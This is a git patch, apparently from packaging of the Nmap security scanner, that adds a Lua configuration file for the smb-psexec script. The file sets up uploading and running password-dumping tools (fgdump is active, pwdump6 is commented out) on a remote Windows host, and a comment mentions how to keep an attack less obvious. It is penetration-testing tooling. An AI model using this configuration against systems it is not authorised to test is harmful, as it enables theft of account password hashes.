From 0d47952611198ef6b1163f366dc03922d20b1475 Mon Sep 17 00:00:00 2001 From: Daniel Baumann Date: Wed, 17 Apr 2024 09:42:04 +0200 Subject: Adding upstream version 7.94+git20230807.3be01efb1+dfsg. Signed-off-by: Daniel Baumann --- nselib/data/psexec/pwdump.lua | 52 +++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 52 insertions(+) create mode 100644 nselib/data/psexec/pwdump.lua (limited to 'nselib/data/psexec/pwdump.lua') diff --git a/nselib/data/psexec/pwdump.lua b/nselib/data/psexec/pwdump.lua new file mode 100644 index 0000000..3ec256d --- /dev/null +++ b/nselib/data/psexec/pwdump.lua @@ -0,0 +1,52 @@ +---This config file is designed for running password-dumping scripts. So far, +-- it supports pwdump6 2.0.0 and fgdump. +-- +-- Note that none of these modules are included with Nmap by default. + +-- Any variable in the 'config' table in smb-psexec.nse can be overriden in the +-- 'overrides' table. Most of them are not really recommended, such as the host, +-- key, etc. +overrides = {} +--overrides.timeout = 40 + +modules = {} +local mod + +--mod = {} +--mod.upload = true +--mod.name = "PwDump6 2.0.0" +--mod.program = "PwDump.exe" +--mod.args = "localhost" +--mod.maxtime = 10 +--mod.include_stderr = false +--mod.url = "http://www.foofus.net/fizzgig/pwdump/" +--table.insert(modules, mod) + +---Uncomment if you'd like to use PwDump6 1.7.2 (considered obsolete, but still works). +-- Note that for some reason, this and 'fgdump' don't get along (fgdump only produces a blank +-- file if these are run together) +--mod = {} +--mod.upload = true +--mod.name = "PwDump6 1.7.2" +--mod.program = "PwDump-1.7.2.exe" +--mod.args = "localhost" +--mod.maxtime = 10 +--mod.include_stderr = false +--mod.extrafiles = {"servpw.exe", "lsremora.dll"} +--mod.url = "http://www.foofus.net/fizzgig/pwdump/" +--table.insert(modules, mod) + +-- Warning: the danger of using fgdump is that it always write the output to the harddrive unencrypted; +-- this makes it more obvious that an attack has occurred. +mod = {} +mod.upload = true +mod.name = "FgDump" +mod.program = "fgdump.exe" +mod.args = "-c -l fgdump.log" +mod.maxtime = 10 +mod.url = "http://www.foofus.net/fizzgig/fgdump/" +mod.tempfiles = {"fgdump.log"} +mod.outfile = "127.0.0.1.pwdump" +table.insert(modules, mod) + + -- cgit v1.2.3